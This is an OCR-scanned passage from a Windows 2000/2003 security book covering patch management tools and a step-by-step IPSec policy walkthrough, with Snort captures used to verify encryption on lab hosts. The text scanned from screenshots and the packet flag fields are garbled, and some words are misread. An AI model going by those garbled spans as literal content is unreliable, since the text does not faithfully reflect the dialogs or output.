dows. Other Microsoft server software such as SQL Server or Exchange
isnot supported via the Windows Update site. According to Microsoft’s
site, Windows Update supplies critical updates only for the following:

lenuepy 10 anewojny

Microsoft Windows 98/98 SE

Microsoft Windows 2000 Professional

Microsoft Windows 2000 Server

Microsoft Windows 2000 Advanced Server

Microsoft Windows Millennium Edition (Windows Me)
Microsoft Windows XP

Microsoft Windows Server 2003
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Of course, many common servers are considered part of the operat-
ing system, such as Terminal Services and Internet Information
Services, and patches for security issues in these services can be ob-
tained from the Windows Update site. The security updates for other
Microsoft server software is typically hosted on the product web site,
such as http://www.microsoft.com/sql or http://www.microsoft.com/
exchange.

How to Update Windows Automatically

While automatic updates represent a quantum leap forward in the tech-
nologies available to keep a system current, the prospect does introduce
some difficulties. When system changes are happening without user in-
teraction, it can lead to lengthy support issues if the system’s perfor-
mance is adversely impacted and no one checks the updater’s status.
Some updates may require reboots, and in rare cases, once applied may
limit usability of impacted services until the reboot is completed. Let’s
take a look at the Automatic Update client and see what options we
have available to reduce the chance of these unpleasantries.

The Automatic Updates Client

Depending on your operating system and previous system activity, you
may or may not have already enabled the Automatic Updates client
without your knowledge. If you have never configured Automatic Up-
dates, upon startup the system may prompt you from the Automatic
Update notification icon in the taskbar to “Stay current with automatic
updates!” You can use this taskbar icon, if present, to configure the client.

If the icon is not present, you can access Automatic Updates from
the System control panel applet (Start | Control Panel | System). Recall
that in Windows 2000, the Automatic Updates feature is available only
on systems that have applied SP3. (If SP3 is not available, the client can
be downloaded and installed on SP2 systems, but we strongly recom-
mend installing SP3.) In the System control panel applet, click the Auto-
matic Updates tab to configure the client options. This dialog box is
shown in Figure 11-2.

The first option on the dialog box enables or disables automatic up-
dates on the local system. When enabled, the update client can be con-
figured to operate in one of three modes to help administrators avoid
surprise updates. These settings control how the client will handle
downloading and installation of new updates:

B Notify me before downloading any updates, and notify me
again before installing them on my computer This setting
can be fairly noisy from the typical user’s perspective. The
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Figure 11-2. The Automatic Updates tab of the System Properties control panel applet

update notification icon in the taskbar will frequently prompt
the user for permission to start downloads or installations.
Many Windows users have become well trained to always click
No when prompted to install software, and when this occurs
the update client will mark the update declined and not prompt
for installation again. Typically, this setting is recommended
only for Administrators or trusted users.
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B Download the updates automatically and notify me when
they are ready to be installed With this option, the user is not
prompted to begin downloading the packages that the updater
deems necessary but is periodically prompted to perform
installation of the packages that have been downloaded. Of
course, the user can still neglect to perform the installations
when prompted, reducing the effectiveness of automatic updates.
However, with this option, an administrator will have all the
necessary packages available so that they can be applied
during other system maintenance, when the administrator is
at the system.
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B Automatically download the updates, and install them on the
schedule that I specify This option provides the best possible
coverage for a given system. The administrator can schedule a
reasonable time and recurrence based on normal user behavior,
such as specifying installations to take place Friday at 12:00 P.M.,
when most users will be at lunch. However, this option runs
the risk of update installations adversely impacting business
operations, particularly in the case of updates that require a
reboot.

The happy medium seems to fall somewhere in between the last two
options, and ultimately the choice will be dependent on the characteris-
tics of the users who will be most affected by it. If your users are not
technically savvy and typically call the help desk every time an unex-
pected message pops up, the automatic download and installation
method may be the best option, while an organization comprised pri-
marily of system engineers would likely implement one of the more ver-
bose options.

Of course, many resourceful users may take steps to try and disable
the Automatic Update client on their systems if they deem it a nuisance.
Microsoft anticipated this user community backlash, and Automatic
Updates can now be configured as part of a group policy across a do-
main. The specific steps to implement Automatic Update policies in
a Windows 2000 domain can be found at http:/ /www.microsoft.com/
windows2000/downloads/servicepacks/sp3/spdeploy.htm.

Internal Automatic Updates:
Microsoft System Update Server

The last patch management option we’ll discuss is a little known offer-
ing from Microsoft Support Services, the System Update Server (SUS). As
we mentioned earlier in the chapter, tightly secured environments may
not have the external network access required to take advantage of the
Automatic Update facilities. Ironically, the environments that were
most apt to adopt automatic update facilities were excluded from the
tirst forays into the technology.

This type of restriction is becoming more and more common as
many companies struggle to get control of their software inventory for
licensing purposes and implement restrictions on user software instal-
lation. It is not uncommon for large organizations to block all types of
installers and executables at the network border. Anti-virus vendors
have faced these update issues for many years, and most responded by
designing simple update mechanisms that can be either directed to pub-
lic Internet sites or configured to obtain update information from inter-
nal network resources that are controlled by administrators.



Chapter 11:  Patch and Update Management 177

Microsoft has followed suit, providing a local network implementa-
tion of the Windows Update site with their SUS package. This package
allows a Windows 2000 or 2003 server to be configured as a local net-
work update server and host core Windows updates in a fashion very
similar to that of external Automatic Updates, which can provide much
of the convenience of direct automatic updates while still providing the
controls required in many environments.

It is worth noting that System Update Services are intended to pro-
vide only critical updates and security roll-ups. SUS servers cannot
distribute service packs and do not support updating other common
Microsoft server software such as Exchange or SQL. Finally, configur-
ing automatic update clients to use local update servers requires that
they be domain members—there is no way to configure the update cli-
ent other than through group policies. In some environments, these ex-
ceptions may have a significant impact on the usefulness of SUS.

The System Update Services installation package and supporting
documentation can be downloaded from Microsoft at http://www
.microsoft.com/windows2000/windowsupdate/sus. SUS can be installed
on Windows 2000 and 2003 Server and requires Internet Information
Services to provide the administration and update server interfaces.

Verifying Patch Levels:

The Baseline Security Analyzer

Many administrators will be familiar with the HFNetChk (pronounced
H-F-Net-Check) security analyzer tool, a local system analyzer that
downloads current security update information from Microsoft’s site in
the form of an XML datasource, mssecure.xml, and then scans the sys-
tem to ensure that all applicable patches have been installed. Unlike
Windows Update, HFNetChk also scans the most popular server soft-
ware packages of Microsoft SQL Server 7.0, MSDE and 2000, as well as
Exchange Server 5.5 and 2000. The latest version of HFNetChk has
merged with a GUI interface to form the Microsoft Baseline Security
Analyzer (MBSA).

You can download the MBSA from http://www.microsoft.com/
technet/security /tools/Tools/MBSAhome.asp. Installation is a stan-
dard affair, and once installed, you can launch the application from
Start | Programs | Microsoft Baseline Security Analyzer. The interface
is very similar to that of Windows Update—starting a security scan of
a local system is as simple as clicking the Scan a computer link in
the right-hand pane. The scan configuration dialog box is shown in
Figure 11-3, and as you can see, MBSA has the ability to check a local
Software Update Services system to determine what updates the ad-
ministrators have approved for deployment.
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Figure 11-3. The Baseline Security Analyzer Scan Configuration pane

In addition to checking that patch levels are up to date, the Baseline
Security Analyzer also performs basic security tests to identify common
misconfigurations that may otherwise go unnoticed. MBSA checks if
hard drives are using NTFS, checks local accounts for blank or simple
passwords, and verifies service configurations. The MBSA provides
remediation steps for each security concern it enumerates, and can pro-
vide details on what exactly was found to cause concern. Figure 11-4
shows the vulnerability report on the local installation of Internet Infor-
mation Services, pointing out that while some basic security steps have
been completed, IIS Lockdown has not yet been run on this site.

The Baseline Security Analyzer uses the same HFNetChk technol-
ogy and requires the same XML data source file mssecure.xml in order
to conduct a system scan. Administrators of disconnected environ-
ments can download that file manually and distribute it with the
MBSA; it is available from http://www.microsoft.com/technet/
security/search/mssecure.xml. The file will need to be updated regu-
larly in order to remain effective.
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Figure 11-4. Baseline Security Analyzer IIS Vulnerability Report

6 The HFNetChk tool was co-developed by Microsoft and Shavlik Technologies,
LLC. Shavlik provides a variety of patch management tools based on the same
package. HFNetChk Pro is a commercial package, capable of both scanning and
deploying patch updates from the same interface. HFNetChk LT is a free tool with
much of the same functionality as HFNetChk Pro. Both of these products are worth
investigating if the patch management methods discussed elsewhere in this chap-
ter are not feasible in your environment.
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SUMMARY

With successive improvements in their update service offerings, Microsoft
continues to make good on their commitment to secure computing. In a
book devoted to Windows NT 4.0, this chapter would span many more
pages and would likely include a tutorial on Windows scripting. Today,
externally facing Windows 2000+ systems can be configured for fully
automated patch application in less than five minutes. Microsoft has
responded to customer requests by providing easy-to-use automatic
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update facilities for their current operating systems, and then further
addressed the special requirements of highly secured environments
with System Update Services package. Because Windows Update has
not yet extended its reach to include the popular Microsoft server appli-
cations of SQL and Exchange, the Microsoft Baseline Security Ana-
lyzer can help us identify what patches we may require for those
systems, while performing a basic vulnerability scan at the same time.
While keeping systems current will not prevent all attacks, it does
severely limit the inroads available to an attacker. Combined with effec-
tive local security policies, a well-patched Windows 2000/2003 system
can be an extremely difficult nut to crack. It’s a good time to be a Win-
dows administrator—it’s never been easier to get a good night’s sleep.
Now that we’ve got a handle on operating system security through
patch management, group policies, filesystem, and local permissions,
we can start concentrating on securing our data. In the next two chap-
ters, we'll work with two of the more specialized Windows security
tools for managing data security and integrity, specifically the IP secu-
rity and encrypting filesystem features in Windows 2000 and above.
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monly abbreviated to IPSec) on Windows systems invariably
required third-party VPN (virtual private networking) software.
These packages were often difficult to install, introducing specialized
network drivers that could interfere with other low-level network driv-
ers. Intended for remote user access, the systems typically had their
own proprietary authentication schemes and user interfaces, which pre-
sented a support challenge. In short, while IPSec as a concept was very
appetizing to network administrators, the realistic costs of available
Windows IPSec implementations limited the extent of its deployment.
Many network engineers who experienced the bleeding-edge tech-
nology of Windows IPSec solutions were left with a sour taste in their
mouths. Deploying VPN technologies for remote access on Windows 9x
and NT 4.0 operating systems was challenging, and there were often
network-level hurdles involving passing IPSec traffic. By the time
Windows 2000 was released, most organizations had settled on a re-
mote access solution, and so the IPSec facilities went largely untouched.
This is unfortunate. The inclusion of IPSec policies in Windows 2000
and above has greatly expanded the practical applications of IPSec. Its
implementation as a system policy, fully compatible with the group pol-
icy management discussed in Chapter 10, allows domain administra-
tors to deploy internal IPSec solutions with ease. However, domain
membership is not a prerequisite, and IPSec can be easily deployed in
any environment consisting of hosts running Windows 2000 and above.

Prior to the release of Windows 2000, the use of IP Security (com-

IP SECURITY OVERVIEW

Before we discuss the Windows implementation, let’s briefly discuss
what IP Security does and how it works. Primarily defined in the
Internet Engineering Task Force RFC 2401 (http:/ /www ietf.org/rfc/
rfc2401.txt), IPSec is a protocol suite designed to provide a well-defined
and supported solution to concerns of data integrity and confidentiality
on public networks. Many protocols were implementing better authen-
tication and security options, but the authors of the IPSec specification
realized that an IP layer security facility could provide a method to
secure all protocols, no matter how rudimentary.

If you recall the OSI model layers, the IP protocol operates on the
network layer, below the transport layer. By this point (in an outbound
transaction), all user-influenced data has been compiled into the data
frame, so implementing security at this level is all encompassing. On the
receiving side, by the time the data is delivered to the transport layer,
there’s no evidence of the network layer activity, so transport protocols
continue to function as they always have.
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IPSec can operate in a variety of modes, providing different services
depending on the application requirements. Most significantly, IPSec
can operate on traffic passed between two systems in a fashion known
as transport mode, or it can be configured to establish a secure network
connection between two devices that other networked systems can pass
traffic through, known as tunnel mode. We will concentrate our discus-
sion on the former, although most specifics apply to both options.

In either mode, IPSec supports two separate protocols for securing
data, AH (Authentication Header) and ESP (Encapsulating Security Payload).
AH provides data integrity and source authentication by signing the
entire packet, while ESP can provide both encryption and/or integrity
services but operates only on packet payloads. As the objective of most
data security plans is to protect sensitive information from being cap-
tured off the wire, ESP tends to be the more popular IPSec protocol for
its encryption capabilities. AH is not without its purpose, however. For
example, a high-volume data processing center may be more concerned
that the requests it receives are from a valid source and have not been
tampered with than whether or not anyone else has seen the data.

The last critical facility in IPSec pertains to how a secure session is
established. In order for AH and ESP to provide their services, the two
devices involved in the transfer need to agree upon a common key and
any encryption or integrity options to be used. This phase of an IPSec
connection is typically handled by the IKE (Internet Key Exchange) proto-
col. IKE handles the negotiation of the data integrity and confidentiality
options and the establishment of the keys to support them, and creates a
set of security associations. Security associations define one-way trans-
mission characteristics, so for each protocol (AH and/or ESP), there will
be two security associations, one on each host. Once established, these
security associations define the properties for all communications be-
tween the two devices.

If the devices are unable to agree upon a common cryptographic key
to use for signing or encrypting, the connection will fail. This control
over key negotiation provides the authentication facility of IPSec. In
Windows, we can configure one of three controls for the key exchange
to establish this authentication, ranging from the simple shared-secret
technique to allowing the Kerberos Key Distribution Center to deter-
mine the keys.

WORKING WITH IPSEC POLICIES

The Windows IPSec configuration is extremely flexible, as we’ll see in
the next few pages. To help administrators get IPSec up and running
quickly, Microsoft provides a set of predefined policies that provide
three different levels of protection and can be applied with little effort.
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We’ll begin our discussion with these defaults, and then investigate
the true power of IPSec policies with some advanced policy creation.
Finally, we’ll show another use for Windows IPSec and create a pol-
icy that does no authentication or encryption, but serves solely as a
packet filter.

Default Policies: Quick and Easy

The Windows default policies are as follows:

B Client (Respond Only) This policy configures the system to
communicate normally with all devices, but enables the use of
IPSec with servers that request to do so.

B Server (Request Security) This policy configures the system
to always try to negotiate IPSec with any systems, but permits
unsecured connections if the negotiation fails. This default
policy uses Kerberos trusts to authenticate the hosts and
provide session keys.

B Secure Server (Requires Security) With this policy applied,
the system will request security for any communications and
will refuse connections that cannot successfully negotiate
IPSec. This policy uses Kerberos as well.

So you don’t think that Windows IPSec can be configured quickly
and easily? Let’s start our discussion with a fast-track example. We'll
implement default policies on two hosts and see how quickly we can get
them talking securely.

The Five-Minute IPSec Policy

From a quick review of the descriptions of the default policies, we can
tell that two systems that both have the Client policy applied will not es-
tablish IPSec because neither of the systems will request it. For our ex-
ample, we'll need both a Server policy and a Client policy. For the sake
of readers who may not have a domain available to provide Kerberos
negotiation, we will adjust our policies to use the simplest (and least se-
cure) key negotiation, a pre-shared secret.

To get started, we’ll need to open the Local Security Policy applet,
available from the Administrative Tools folder or Start | Run... |
secpol.msc. Figure 12-1 shows the default security policies in the Local
Security Policy applet. We'll begin by configuring our Client policy on
our first system.
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B¢ Local Security Settings

File  Action  View Help
&= |2 EB 2] dE

P Securily Setings Mame [ Desciption [ Policy Assigned |
B+ (8 Account Policies B Client (Respond Drly) Commuricate nomaly funse.. Mo
=8 Lecal Policies ) & Secure Server (Fequire Secwity)  For allIP traffic, shways requin.,.  No
t '—i Public key PD‘F:IP:S EA Server [Request Security] For all IP traffic, shways reque... Mo

Figure 12-1. IP security policies in the Local Security Policy applet

1. In the right-hand pane, right-click Client (Respond Only) and
select Properties.

2. In the Policy Properties dialog box, select the <Dynamic> IP
Security rule and click Edit...

3. Select the Authentication Methods tab.
4. Click Edit...

5. Select Use this string (preshared key) and enter a passphrase,
as shown in Figure 12-2.

6. Click OK; then click Close to exit out of the policy editor.

7. Back in the Local Security Settings console, right-click Client
(Respond Only); then select Assign. This activates the
selected policy.

We now have half of our fast-track IPSec connection enabled.
Depending on how long you took selecting a passphrase, we should be
somewhere around 2 minutes 30 seconds. Now we have to make the
same changes on the system that we'll be connecting to. The process is
almost identical to the one we performed on our client system, only now
we’ll edit and assign the Server (Request Security) policy. Log on to sys-
tem two, and open the Local Security Policy applet to the IP Security
Policies container.
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Edit Authentication Method Properties

Authentication Method

The authentication method specifies how trust iz established
= g between the computers.

™ Active Directory default [Ferberos Y5 protocol]

" Usze a certificate from thiz certification authority [CA)

@ Use thiz stiing [preshared kel

This is a "shared secret’’, useful far testing IP Security palicies or =]
for securing the least sensitive nebwork traffic.

=

ok I Cancel l

Figure 12-2. Configuring preshared key authentication

1. In the right-hand pane, right-click Server (Request Security)
and select Properties.

2. In the Policy Properties dialog box, select the <Dynamic> IPSec
rule and click Edit...

3. Select the Authentication tab.
4. Click Edit...

5. Select Use this string (preshared key) and enter the same
passphrase you defined in Step 5 of the client policy, as
shown in Figure 12-2.

6. Repeat Steps 2-5 for the All IP Traffic IPSec rule. When you're
done, the Policy Properties should appear.

7. Click OK; then click Close to exit the policy editor.
8. Back in the Local Security Settings console, right-click Server
(Request Security), then select Assign.

That’s it. Check the clock—about five minutes? Verify the connectiv-
ity by making a connection from the client to the server to ensure that
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everything works as expected (if not, you can flip ahead to the “Trouble-
shooting Notes” section at the end of this chapter). Now, the cynic in
you is probably asking how you can tell if it’s truly encrypted. Remem-
ber way back in Chapter 4 when we talked about sniffers? The packet
capture library we discussed, WinPCap, captures packets at a low
enough level that we can see the effect of our IPSec policies. First, let’s
see the first few packets of a telnet connection when the Server (Request
Security) policy is unassigned (no IPSec):

C:\Snort\bin>snort -v -g host 192.168.100.105

04/30-22:31:22.180670 192.168.100.4:4835 -> 192.168.100.105:23

TCP TTL:128 TOS:0x0 ID:14103 IpLen:20 DgmLen:48 DF

*k*kkkkGk Seq: 0x9B07971C Ack: 0x0 Win: OxXFAF0 TcpLen: 28

TCP Options (4) => MSS: 1460 NOP NOP SackOK
=t+=t=+=t=+=+=t=+=+=t=+=+=t=+=+=t=+=+=t=+=t=t=+=+=t=+=t=t=+=+=t+=+=+=+
04/30-22:31:22.181113 192.168.100.105:23 -> 192.168.100.4:4835

TCP TTL:128 TOS:0x0 ID:1389 IpLen:20 DgmLen:48 DF

**RFA**S* Seq: 0x64814865 Ack: 0x9B07971D Win: 0x4470 Tcplen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
St+=t=+=t=t=+=t=t=+=t=+ =ttt =ttt =ttt =ttt =+ttt =+ttt =+=t=+=+=+
04/30-22:31:22.181143 192.168.100.4:4835 -> 192.168.100.105:23

TCP TTL:128 TOS:0x0 ID:14104 IpLen:20 DgmLen:40 DF

FEXPAFFAR Seq: 0x9B07971D Ack: 0x64814866 Win: OxFAFO0 TcpLen: 20

A simple TCP handshake can be clearly seen in these first three
packets (in sequence, the flags on the packets are SYN, SYN/ACK, and
ACK). By capturing the rest of the data, we could easily capture a pass-
word if we knew what we were looking for. Now let’s re-assign our
IPSec policy and see what the traffic looks like then:

C:\Snort\bin>snort -v -g host 192.168.100.105

04/30-22:36:16.167467 192.168.100.4:4836 -> 192.168.100.105:23

TCP TTL:128 TOS:0x0 ID:14122 IpLen:20 DgmLen:48 DF

*HE*kxkk*kGH Seq: O0x9F682BID Ack: 0x0 Win: OxXFAF0 TcpLen: 28

TCP Options (4) => MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/30-22:36:16.170053 192.168.100.105:500 -> 192.168.100.4:500

UDP TTL:128 TOS:0x0 ID:1399 IpLen:20 DgmLen:304

Len: 276
=t=t=t=t=+=+=t=+=t=t=+=+=t=+=t=t=+=+=t=+=t=t=+=t=t=+=+=t=+=+=t+=+=+=+
04/30-22:36:16.171114 192.168.100.4:500 -> 192.168.100.105:500

UDP TTL:128 TOS:0x0 ID:14123 IpLen:20 DgmLen:136

Len: 108
=+=+4=+=t+=+=+=+=t+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/30-22:36:16.228066 192.168.100.105:500 -> 192.168.100.4:500

UDP TTL:128 TOS:0x0 ID:1400 IpLen:20 DgmLen:212

Len: 184
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/30-22:36:16.308892 192.168.100.4:500 -> 192.168.100.105:500
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UDP TTL:128 TOS:0x0 ID:14124 IpLen:20 DgmLen:212
Len: 184
=+=t+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

After the initial SYN request, the server responds by sending a
datagram to UDP /500 on our client system. Our client responds, and
the IKE negotiation begins. When the IKE negotiation completes and
the security associations are established, the traffic changes:

04/30-22:36:16.334576 192.168.100.105 -> 192.168.100.4

PROTO050 TTL:128 TOS:0x0 ID:1398 IpLen:20 DgmLen:80 DF

R e e R e e e G e
04/30-22:36:16.334715 192.168.100.4 -> 192.168.100.105

PROTO050 TTL:128 TOS:0x0 ID:14128 IpLen:20 DgmLen:72 DF

A B e e e e T e e R Ea  E

Here, we're no longer seeing TCP or UDP traffic, as Snort indicates
the traffic is now IP Protocol 50, better known as ESP (AH travels on IP
Protocol 51). If you try this sniffer method yourself, be sure to use the -x
flag on Snort to include raw packet dumps.

So there you have it, in its simplest form, the five-minute IP Security
policy. If you are fortunate enough to have a domain in place that can
support Kerberos key negotiation, you could simply use group policies to
assign the Client policy on your workstations and the Server (Request Se-
curity) policy to your main corporate servers, and in a few minutes you'd
have secured the vast majority of your organization’s sensitive traffic.

6 There are built-in facilities to monitor IPSec statistics on Windows 2000, XP, and
2003 that you can use for troubleshooting connectivity issues and confirming that
IPSec policies are working as expected. In Windows 2000, this is a standalone tool,
IPSecmon.exe, that is located in the %WINDIR%\System32 directory, while in
Windows XP and 2003, this tool has been integrated into the Microsoft Manage-
ment Console as a snap-in, called “IPSec Monitor.” Refer to the Reference Center
for information on working with Microsoft Management Console.

Alternative Authentication Methods

In our fast-track IPSec example, we switched our authentication
method to preshared secret to establish the keys used for securing the
session so that any readers without access to Windows 2000 domains
wouldn’t be left behind. When both endpoints of a Windows IPSec con-
nection are domain members, the Kerberos V5 protocol can manage
authentication of the two devices, and provide a stronger key (unlike
the preshared secret, the session keys supplied by Kerberos are non-
deterministic). This process is handled by the Local Security Authority
on both devices, who forward the authentication request on to the do-
main controller.
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The other option available for IPSec authentication in Windows is to
use X.509 certificates. This option can be useful in environments where
the domain security model is not in use or to facilitate IPSec connections
with systems that are not members of a trusted domain. As you may
have noticed when you were editing the Authentication Methods in our
previous example, it’s possible to specify multiple authentication meth-
ods, so you could make use of X.509 certificates as a backup to Kerberos
authentication.

When you select the authentication method Use a certificate from
this certification authority, you must click Browse... and select a CA
from the list of Trusted Root Certificate Authorities whose certificates
you will trust as an IPSec authentication method, as shown in Figure 12-3.
If you make use of this authentication method, you will probably want
to install Certificate Services on one of your systems and issue your own
certificates. Use the Certificates Microsoft Management Console plug-in
to import your local CA’s certificate as a Trusted Root Certificate, and
then you can configure IPSec to trust only certificates that have been is-
sued by your own certificate authority. Deploying a Certificate Author-
ity in Windows 2000 and above is covered in Chapter 13.

Advanced IPSec Policies

The default security policies provide a quick and effective method of
implementing IPSec, but in many cases you may want to define policies

Select Certificate

Select the certification authority that wou require for IPSec authentication when
uzing this security ule.

Issued ko I Issued by _l Intende. .. I Friendly ... | Expiratio... ! Location Ej
E kit ... Intuit0... <Al Mone qf2f2002 ok avail
EdMicros... Micrasaf..,  <al> Micrasaf,..  5/9/2021 ok avail
[EMicros... Microsaf.., <Al Microsof,..  12§31)2...  Not avail

ZIMicras... Microsof.,. Secure E... Microsaf... 12/31/1...  Not avail

=i MNone
Copyt,.. Copyrig... TimeSta...  Microsof, .. Mot avail
r"!QNO IT... MCOITAR..,  Time Sta... YeriSion... 1762004 Nn!‘ av.:ﬁ_']
A *

oK I Cancel I ‘iew Certificate I

Figure 12-3. Selecting a Trusted Root Certificate Authority for IP Security Authentication
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that affect a more limited set of services than the default policies are con-
tigured for. There are many situations where this would be the case, and
as you see how flexible the IP security rules can be, you’ll no doubt find
applications for this more surgical approach to IP security policies.

Developing IP Security Rules

IP security policies are comprised of one or more IP security rules,
which bear a striking similarity to a firewall rule set. Each rule is com-
prised of an IP filter list, a filter action, and an authentication method, as
discussed in the preceding section. The IP filter list defines the criteria
that traffic will have to match in order for the filter action to be applied.
Three actions are defined by default:

B Permit Traffic is passed with no security options.

B Request Security (optional) Attempts to negotiate security
for the transaction, but will permit unsecured communications
for systems that cannot negotiate IPSec.

B Require Security Attempts to negotiate security for the
transaction; blocks access if [PSec negotiation fails.

IP filter lists consist of a number of source, destination, and protocol
criteria that should all have the same filter action applied to them. IP fil-
ters are very flexible, but can be somewhat challenging to configure
through the MMC interface. Figure 12-4 depicts a sample IP filter list
that demonstrates the type of filters that can be created.

I IF Filter List HE

——+  AnlP fiter listis composed of multiple filters, In ths way, mukiple subnets, 1P

i" addiesses and protocols can be combined inta one IP filter,

Name:
iSan‘ale P Filte List

Description: L ;
Example of IP Filler Opfions = Edit.. |
= Remove I

Fikers: ¥ Use add Wizard
Mincred || Daseription | Protoesl | SourcaPast | Dastination Port | Sousce Addess | Destination Address |
Yes SOL Serverson the 192168 32k netwerk. TCP ANY 1433 <My IP Addessy  192.166.32.0

Yes Al NetBIOS Sessien Tralfic TCR &Y 139 <My P Adckessy by IP Address>

Yes Match &l ICMP Traffic ICMP &MY AN <hry P Addiessy <My IP Addiess>

Yes  AlDNS Traffic UDP &Y 53 <My P Adckess> by IP Address

Yes Al Traffic to Ciitical File Sesver ANYANY ANy 1016071 by P Aiddresss

Ok | Cancal | |

A

Figure 12-4. A sample IP filter list
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Let’s step through the process for creating an IPSec policy that we
can apply to a highly sensitive Microsoft SQL Server. Our objective is to
create a policy that, when applied, will require strong encryption for all
accesses to port 1433, with the exception of hosts in the class-C network
at 10.1.1.0 (who are unable to use IPSec due to a difficult network ad-
ministrator). Because we want to protect the server, we will apply this
policy only on the server, and then simply ensure that any legitimate cli-
ents outside of the exception network have the default Client (Respond
Only) policy assigned. This greatly simplifies administration of clients.
We'll begin in the Local Security Settings management console.

This policy can be viewed as two separate rules. The first evaluates
all connection attempts to the Microsoft SQL Server and permits the
traffic if it originates from the exception network. The second rule en-
forces security for systems connecting from any other network. These
are the two filter rules and actions we will define in this policy.

1. In the left-hand pane, right-click IP Security Policies... and
select Create IP Security Policy to start the IP Security Policy
Wizard.

2. Click Next and then specify a name and description for the
new policy.

3. Uncheck the Default Response Rule option, and then click Next.
4. Click Finish to end the wizard.

5. Edit the policy properties as necessary.

We now have a blank policy definition, with nothing more than a
name and a description. Our next task is to create the IP security rules
for the two criteria that make up our policy. Keep in mind that each rule
is associated with a filter action, so our two rules for this policy cannot
be in the same rule because each will require a different action. First,
let’s define our rule for permitting hosts from the excepted network. For
our walkthrough, we’ll be using the wizards provided for simplicity.
When comfortable with the process, you can disable the Add wizards
by deselecting the check box, and the button will bring you straight to
the Properties window.

1. In the Policy Properties dialog box, click Add... to bring up
the Create IP Security Rule Wizard.
2. Click Next.

3. Accept the default mode option, This rule does not specify
a tunnel.

4. Accept the default network type, All network connections.
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5. Select the authentication method that best suits your
environment or use a preshared secret for test purposes.

6. The default IP filter lists do not provide a good match for our
criteria, so create a new filter by clicking Add...

7. Enter a name and description for this IP filter list. Filter lists
can be difficult to decipher later on, so it’s strongly recommended
to use verbose descriptions.

8. Click Add... to start the IP Filter Wizard.
9. Click Next...

10. From the Source IP Address pull-down menu, select A Specific
IP Subnet; then enter the excluded network and subnet mask
(10.1.1.0, 255.255.255.0) and click Next.

11. From the Destination IP Address pull-down menu, select My
IP Address and click Next.

12. Select TCP from the Protocol-Type drop-down menu, then
click Next.

13. Enable the To This Port radio button, and enter the Microsoft
SQL Server TCP port 1433. Then click Next.

14. Click Finish to close the wizard.
15. Click OK to return to the IP Security Rule Wizard.

Figure 12-5 shows our excepted network IP filter list definition,
which we’ve named Non-IPSec Network Hosts. Our new IP filter list is
now available for use in our rule. Now we need to create a rule to cap-
ture all traffic to the SQL Server on TCP /1433, to handle the other half of
our policy objective. Repeat Steps 6 through 15, but instead of selecting
A Specific IP Subnet, set the source address for the rule to Any IP Ad-
dress. This rule will capture all traffic to the SQL Server port. In our ex-
ample, we’ve named this filter list All Microsoft SQL Server Traffic.

«‘){\ For the sake of space, we are defining this rule to capture only TCP/1433 traffic,
Microsoft’s SQL over TCP/IP port of choice. Were this rule intended to service a
production environment, you would want to capture other SQL data paths as well,
including the resolution service on UDP/1434 and Direct SMB on TCP/445, in case
clients connect via named pipes.

We chose to configure both of our IP Filter lists at the same time,
simply to avoid mixing concepts. Because we can select only one IP fil-
ter list per rule, we will have to return to the Security Rule Wizard again
to create our second rule. We're currently defining the rule that will
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I IP Filter List [7]x]

= An P filker list iz compozed of multiple filkers. [n this wap, multiple subnets, P
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INon-I PSec Metwork Hosts

Matches all hosts from the 10.1.1.0 network,, who cannot run [P = Edit...
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A

Figure 12-5. The Non-IPSec Network Hosts IP filter list

permit unencrypted traffic from the exception network, so we'll select
the IP Filter list from Figure 12-5 and continue the wizard.

1. Select the IP Filter list to capture the exception network,
and click Next.

2. From the list of Filter Actions, select Permit and then
click Next.

3. Click Finish.

Our exception rule is now complete. Before our policy is complete,
though, we need to define the rule to enforce security for all other hosts.
To do so, we will simply step through the Create IP Security Rule Wiz-
ard again (accessed from the Add... button in the Policy Properties
Rules tab), but this time we'll select the All Microsoft SQL Server Traffic
from the filter list options and select Require Security from the list of fil-
ter actions.

If we assign this policy now, there will be a problem with handling
any traffic other than the SQL server traffic. Because we did not enable
the default response rule when we started the Create IP Security Policy
Wizard, the policy has no action defined for packets that don’t match ei-
ther of our defined rules. Simply check the box next to the IP filter list
entitled <Dynamic> in the policy properties dialog box to enable this rule.
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The default response rule will automatically attempt to negotiate secu-
rity for any packets that are not captured by any of the other rules but
will permit traffic to pass if the negotiation fails. This is the same rule
that is used in the Client (Respond Only) default policy. When com-
plete, the policy properties dialog box should look similar to the one in
Figure 12-6. We don’t expect to use the default response rule for secu-
rity, so the Kerberos authentication setting for the rule won’t impact our
deployment.

We can click OK to save our new IP Security Policy and return to
the Local Security Settings dialog box. The last step on the server is to
simply right-click the new policy and select Assign to put the policy
into effect. Now, a diligent administrator will test the rules—verifying
unencrypted access from the 10.1.1.0 network, verifying that encryp-
tion is required from all other network addresses, and (if desired) en-
suring that non-SQL traffic to the server does not require encryption.
The administrator can use a sniffer for this task or can enable the IP Se-
curity Monitor discussed earlier in the chapter and check the statistics
counters.

50L Server Defense Policy Properties HE
Rules ]Genelalj

L

.isf?r:]] Security rules for communicating with other computers

1P Securty rules:

I Filter List | Filter Asction [ Authentication..

Mon-IPSec Metwork Hosts Permit Prezhared Key

All Microzoft SOL Server Traffic FReguire Security Preshared Key

<Dynamics Default Response  Kerberos

J | 2l
Add.. ‘ Edit.. | i ] I Use Add wizard

[ ok ]| Cancel J ]

Figure 12-6. The completed SQL Server defense policy
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Troubleshooting Notes

If you have had difficulties setting up the examples in this chapter, there
are a number of possible culprits. If there are any routers between the
hosts you're working with, try to move them to the same segment to
rule out any network filtering issues first. Next, verify that there are no
personal firewalls or other filtering methods applied on either of the
endpoints—these applications can interfere with IKE or with the AH/
ESP datagrams. In the majority of cases, one of these two issues will be
at fault. If not, it’s possible that the IPSec Services service is not started
on both hosts. Beyond these issues, you will need to consult the IPSec
troubleshooting documents available from Microsoft’s support pages.

If you believe your IPSec is functioning properly but you are having
difficulties with the monitoring tools, ensure that the WMI Performance
Adapter service is not disabled—IPSec Services counters are an exam-
ple of a WMI Hi-Perf service.

SUMMARY

